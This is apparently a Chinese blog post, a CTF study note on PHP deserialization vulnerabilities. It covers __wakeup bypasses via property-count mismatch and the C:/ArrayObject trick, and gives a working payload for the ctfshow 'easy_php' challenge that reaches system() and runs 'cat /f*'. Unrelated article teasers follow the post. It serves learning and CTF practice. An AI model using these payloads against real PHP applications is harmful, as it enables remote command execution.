初步了解序列化和反序列化

01什么是序列化和反序列化

序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

02什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

03序列化格式中的字母含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

04魔术方法

例题1(几乎不会涉及较复杂绕过):[SWPUCTF 2021 新生赛]ez_unserialize

 

__wakeup()方法漏洞

漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

影响原因:若在对象的魔法函数中存在_wakeup方法,那么之后在调用unserilize()方法进行反序列化之前则会先调用 _wakeup方法

属性个数不匹配

利用方法:当序列化字符串中表示对象属性个数值大于真是属性个数时会跳出wakeup执行

方法原理:反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改多了,会先依次反序列化已有个单位,直到无法检索到下一个目标才判定反序列化失败。 所以当然可以触发__destruct(),完成前面属性的赋值。

eg:[SWPUCTF 2021 新生赛]no_wakeup

 

unserialize3 反序列字符串绕过

C绕过wakeup

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。

跟着大佬走一遍(这部分几乎完全跟着大佬博客走着学了一遍):

引入

 //引入
 <?php
 class AAA {
 ​
     public function __wakeup() {
         echo "__wakeup";
     }
 ​
     public function __construct(){
         echo "__construct".PHP_EOL;//换行符
     }
 ​
     public function __destruct(){
         echo "__destruct".PHP_EOL;
     }
 }
 ​
 $a = serialize(new AAA());
 $mod = str_replace("O:","C:",$a);//这里是将O:替换成c:为了绕过题目中不允许的地方
 echo $mod.PHP_EOL;
 ​
 $unserialized = unserialize($mod);
 var_dump($unserialized);
 ?>
 //回显
 __construct
 __destruct 
 C:3:"AAA":0:{}
 Warning: Class AAA has no unserializer in E:\workspace2024\learn_php\test02.php on line 21
 object(AAA)#1 (0) { } __destruct

O被替换成了C以后,生成的序列化字符串被认为可调用

扩展

C这个标识符,其实也是代表实现了 Serializable接口的类,因为实现Serializable接口,我们必须要重写serialize和unserialize方法

 ​
 <?php
     //定义的AAAA的类可以实现Serializable接口,意味着该实例可以被序列化和反序列化
 class AAAA implements Serializable{
     public $name="aa";
     public $age="bb";
  
     public function serialize() {//
         return serialize(array(
             'name' => $this->name,//这是一个键值对。键是字符串 'name',值是从当前对象的 $name 属性中取得的。$this 是PHP中的一个特殊变量,它引用当前对象。        
             'age' => $this->age
         ));
     }
     
     public function unserialize($data) {
         $data = unserialize($data);
         $this->name = $data['name'];//从反序列化后的数组$data中提取'name'键的值,并将其赋值给当前对象的$name属性。
         $this->age = $data['age'];
     }
  
     public function __construct(){
         echo "__construct\n";
     }
  
     public function __wakeup() {
         echo "__wakeup()";
     }
  
     public function __destruct(){
         echo 2222222;
     }
 }
  
 $a = new AAAA();
 $b = serialize($a);
 echo $b.PHP_EOL;
  
 $c = unserialize($b);
 var_dump($c);
 //回显
 Deprecated: AAAA implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in E:\workspace2024\learn_php\test02.php on line 2
 __construct C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}} object(AAAA)#2 (2) { ["name"]=> string(2) "aa" ["age"]=> string(2) "bb" } 22222222222222

利用

 ​
 <?php
 ​
 // 获取所有已定义的类
 $classes = get_declared_classes();
 $serializableClasses = [];
 ​
 // 遍历所有类
 foreach ($classes as $class) {
     // 创建反射类对象
     $reflection = new ReflectionClass($class);
     // 判断类是否实现了 Serializable 接口
     if ($reflection->implementsInterface('Serializable')) {
         // 将实现了 Serializable 接口的类添加到数组中
         $serializableClasses[] = $class;
     }
 }
 ​
 // 输出实现了 Serializable 接口的所有原生类
 foreach ($serializableClasses as $class) {
     echo $class . PHP_EOL;
 }
 ?>

这里使用第一个,先生成一个,放到反序列化看看

 <?php
  
 class AAAA{
     public $name=1;
     public $age=2;
 }
  
 $a = new ArrayObject;
 $a -> a = new AAAA;
  
 echo serialize($a);
 //C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

 <?php
 class AAAA{
     public $name="aa";
     public $age="bb";
 ​
     public function __wakeup() {
         echo "__wakeup\n";
     }
     public function __construct(){
         echo "__construct\n";
     }
 ​
     public function __destruct(){
         echo 2222222;
     }
 }
 ​
 $c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
 var_dump($c);
 ?>

最后发现并没有绕过wakeup,但是也可以当作一种绕过。emmm

eg:ctfshow愚人杯 easy_php

ctfshow愚人杯 easy_php

 <?php
 ​
 error_reporting(0);
 highlight_file(__FILE__);
 ​
 class ctfshow{
 ​
     public function __wakeup(){
         die("not allowed!");
     }
 ​
     public function __destruct(){
         system($this->ctfshow);
     }
 ​
 }
 ​
 $data = $_GET['1+1>2'];
 ​
 if(!preg_match("/^[Oa]:[\d]+/i", $data)){
     //说明不可以使用O:,或者a:开头
     unserialize($data);
 }
 ​
 ?>

wp:

 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";//列出所有以f开头的文件
}
$A=new ArrayObject;//ArrayObject 是 PHP 的一个类,用于实现数组作为对象的接口。
$A->a=new ctfshow;
echo serialize($A);//输出代表 $A 对象的状态。这个字符串包含了 $A 对象及其属性 a(该属性是一个 ctfshow 对象)的信息。
?>

不知道为什么自己的一直没有实现,最后经大佬指点发现是php编译器问题最后换了一个方式找到答案。

 C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

 payload:
 ?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

参考:反序列化漏洞详解-CSDN博客v99pc_search_result_base8&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

PHP序列化和反序列化-CSDN博客v99pc_search_result_base8&spm=1018.2226.3001.4187

PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_wakeup的漏洞-CSDN博客

ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456863.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LVGL移植到ARM开发板(GEC6818开发板)

LVGL移植到ARM开发板&#xff08;GEC6818开发板&#xff09; 一、LVGL概述 LVGL&#xff08;Light and Versatile Graphics Library&#xff09;是一个开源的图形用户界面库&#xff0c;旨在提供轻量级、可移植、灵活和易于使用的图形用户界面解决方案。 它适用于嵌入式系统…

四、MySQL

MySQL MySQL1.初识网站2.安装MySQL2.1 下载&#xff08;最重要的一点是路径中不能有中文&#xff0c;哪怕是同级目录也不行&#xff09;2.2安装补丁2.3安装2.4创建配置文件2.5初始化 3.启动MySQL4.连接测试4.1 设置密码4.2 查看已有的文件夹&#xff08;数据库&#xff09;4.3 …

【SSM】任务列表案例 基本CRUD SSM整合

文章目录 一、案例功能预览二、接口分析三、前端工程导入四、后端程序实现和测试4.1 准备4.2 功能实现4.2.1 分页查询显示4.2.2 添加计划4.2.2 删除计划4.2.3 修改计划 4.3 前后联调 一、案例功能预览 Github 地址 &#xff1a; ssm-integration-part 二、接口分析 学习计划…

【C++初阶】C++入门(上)

C的认识 ①什么是C&#xff1f; ​ C语言是结构化和模块化的语言&#xff0c;适合处理较小规模的程序。对于复杂的问题&#xff0c;规模较大的程序&#xff0c;需要高度的抽象和建模时&#xff0c;C语言则不合适。 ​ 于是1982年&#xff0c;Bjarne Stroustrup&#xff08;本…

激活函数理解

前言 为什么神经网中非要有各种各样的激活函数&#xff1f;他们有什么用&#xff1f;没有他们会怎样&#xff1f;常见的激活函数有哪些&#xff0c;他们都有什么特点&#xff1f; 如果我们不运用激活函数&#xff0c;神经网络的输出信号将仅仅是一个简单的线性函数。线性方程…

【DL经典回顾】激活函数大汇总(七)(CReLU RReLU附代码和详细公式)

激活函数大汇总&#xff08;七&#xff09;&#xff08;CReLU & RReLU附代码和详细公式&#xff09; 更多激活函数见激活函数大汇总列表 一、引言 欢迎来到我们深入探索神经网络核心组成部分——激活函数的系列博客。在人工智能的世界里&#xff0c;激活函数扮演着不可或…

Solidity 智能合约开发 - 基础:基础语法 基础数据类型、以及用法和示例

苏泽 大家好 这里是苏泽 一个钟爱区块链技术的后端开发者 本篇专栏 ←持续记录本人自学两年走过无数弯路的智能合约学习笔记和经验总结 如果喜欢拜托三连支持~ 本篇主要是做一个知识的整理和规划 作为一个类似文档的作用 更为简要和明了 具体的实现案例和用法 后续会陆续给出…

【应急响应靶场web1】

文章目录 前言 一、web1 1、应急响应 1&#xff09;背景 2&#xff09;报错处理 3&#xff09;webshell查杀 4&#xff09;网站日志排查 5&#xff09;隐藏账户 6&#xff09;挖矿程序 2、渗透复现 1&#xff09;弱口令登录 2&#xff09;插件上传 3&#xff09;getshell 总结 …

还有没有免费裁剪音频的软件?15款音乐裁剪软件测评!(不断更新)

市面上有哪些免费裁剪音频的软件呢&#xff1f;今天&#xff0c;我们就来为大家详细介绍15款热门的音乐裁剪软件&#xff0c;并对其进行深度测评。 裁剪音频软件测评1&#xff1a;金舟音频大师 好评指数&#xff1a;4.5/5 优点罗列&#xff1a;支持音频格式转换、裁剪、降噪、…

Linux-vim显示乱码

Linux运维工具-ywtool 目录 一.问题二.解决2.1 编辑VIM的配置文件2.2 添加以下内容 一.问题 用vim编辑的时候,中文显示乱码 二.解决 2.1 编辑VIM的配置文件 vim ~/.vimrc #如果这个文件不存在,创建一个即可2.2 添加以下内容 添加完成以后就不会在出现中文乱码了 set fil…

爬虫的去重

去重基本原理 爬虫中什么业务需要使用去重 防止发出重复的请求防止存储重复的数据 在爬取网页数据时&#xff0c;避免对同一URL发起重复的请求&#xff0c;这样可以减少不必要的网络流量和服务器压力&#xff0c;提高爬虫的效率&#xff0c;在将爬取到的数据存储到数据库或其…

一个简单而绝妙的思维技巧

在文章的最开头&#xff0c;我想先问你一个问题&#xff1a; 你希望未来的你是什么样的&#xff1f;你希望未来的你比现在的你过得更好&#xff0c;还是过得更糟&#xff1f; 我想&#xff0c;应该没有人会选择后者吧&#xff1f; 尽管从客观上说&#xff0c;未来的我们很可能…

配置安装 Kuboard - kubernetes

目录 安装 Kuboard v3 - kubernetes | Kuboard 将官方yaml文件拿到本地 等待 Kuboard v3 就绪 访问 Kuboard 安装 Kuboard v3 - kubernetes | Kuboard Kuboard的官方非常丰富&#xff0c;大家也可以参考官网教程 将官方yaml文件拿到本地 ​kubectl apply -f https://add…

自定义指令控制权限

1.新建directives auth.ts 2.完整的auth.ts import { wmsStore } from "/store/pinia";//判断是否有某个角色的函数 function hasRoles(role: any) {const pinaRoles wmsStore().roles;if (typeof role string) {return pinaRoles.includes(role)} else if (Array…

docker部署Atheos云IDE平台

Codiad 是一个基于 Web 的 IDE 框架 部署 下载镜像 docker pull hlsiira/atheosvim docker-compose.yaml version: 3 services:atheos:image: hlsiira/atheosports:- 8565:80container_name: atheosrestart: always启动 docker-compose up -d访问 http://x.x.x.x:8565

ios开发错误积累

1.xcode 下载模拟器报错 Could not download iOS 报错&#xff1a; 解决&#xff1a; 1、去官网下载自己需要 地址&#xff08;https://developer.apple.com/download/all&#xff09; 2、下载完成后&#xff0c;执行以下命令添加&#xff1a;xcrun simctl runtime add /路径…

NLP:HanLP的下载与使用

昨天说到要做一个自定义的训练模型&#xff0c;但是很快这个想法就被扑灭了&#xff0c;因为这个手工标记的成本太大&#xff0c;而且我的上级并不是想要我做这个场景&#xff0c;而是希望我通过这个场景展示出可以接下最终需求的能力。换句话来说&#xff1a;可以&#xff0c;…

类和对象练习题

第1题 import java.util.Scanner; public class Homework01{public static void main(String[] args){//创建一个double类型的数组double array[]new double[6];//创建一个输入对象Scanner inputnew Scanner(System.in);//提示信息&#xff1a;对数组元素进行赋值System.out.pr…

22-Java状态模式 ( State Pattern )

Java状态模式 摘要实现范例 状态模式&#xff08;State Pattern&#xff09;中类的行为是基于它的状态改变的 在状态模式中&#xff0c;我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象 状态模式属于行为型模式 摘要 1. 意图 允许对象在内部…

Qt之格栅布局(QGridLayout)控件填满整个单元格

Qt专栏&#xff1a;http://t.csdnimg.cn/GQN1M 目录 1.现象1 2.解决方案 3.现象2 4.解决方案 5.总结 1.现象1 今天在用QGridLayout布局的时候&#xff0c;添加到布局的QWidget有文本框、标签、组合框和按钮等等&#xff0c;布局两列&#xff0c;通过下面的方式添加进去的&…